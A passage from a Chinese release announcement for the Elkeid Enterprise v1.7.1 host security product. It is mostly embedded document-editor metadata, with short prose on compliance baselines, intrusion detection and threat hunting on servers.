yx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;:{&#34;level&#34;:1},&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><ul start="1" class="list-paddingleft-1"><li><p><strong>合规需求</strong></p></li></ul><p>我们的生产环境服务器是否可以满足一些基础基线的安全配置？又有多少服务器存在潜在的配置或合规性风险？内外审计的需求也是主机安全的核心诉求之一。</p><p><br/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>入侵检测</strong></p></li></ul><p>服务器是否被入侵？是否存在挖矿程序？是否被植入后门？是否被上传 Webshell？是否有内部人员执行恶意操作？无需赘述，主机安全的核心价值之一就是通过动态、静态等手段尽早的发现恶意行为。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:10,&#34;end&#34;:11,&#34;blockIds&#34;:[12,13],&#34;recordIds&#34;:[&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;],&#34;recordMap&#34;:{&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;:{&#34;id&#34;:&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;入侵检测&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;:{&#34;id&#34;:&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2j&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;服务器是否被入侵？是否存在挖矿程序？是否被植入后门？是否被上传 Webshell？是否有内部人员执行恶意操作？无需赘述，主机安全的核心价值就是通过动态、静态等手段尽早的发现恶意行为。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><ul start="1" class="list-paddingleft-1"><li><p><strong>威胁猎捕</strong></p></li></ul><p>当我们确定存在入侵行为，接下来的问题就是：入侵者如何进入的？多少资产受到影响？入侵者具体做了什么？解决这些问题，我们才可以进行完整的定损止损和后续优化。</p><p><br/></p><p>而往往主机安全产品还需要回答如网络安全产品，行为安全产品，威胁情报的各种问题：谁在服务器上做的这个行为触发了我的告警？</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:12,&#34;end&#34;:13,&#34;blockIds&#34;:[14,15],&#34;recordIds&#34;:[&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;],&#34;recordMap&#34;:{&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;:{&#34;id&#34;:&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;威胁猎捕&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;:{&#34;id&#34;:&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;f41d7337-9c56-42cc-9076-fe1d6d32b65c\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_1315\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2x*1*0+4*0+q&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;当我们确定存在入侵行为，接下来的问题就是：入侵者如何进入的？多少资产受到影响？入侵者具体做了什么？解决这些问题，我们才可以进行完整的定损止损和后续优化。而往往主机安全产品还需要回答如网络安全产品，行为安全产品，威胁情报的各种问题：谁在服务器上做的这个行为触发了我的告警？&#34;}}},&#34;align&#34;:&#34;&#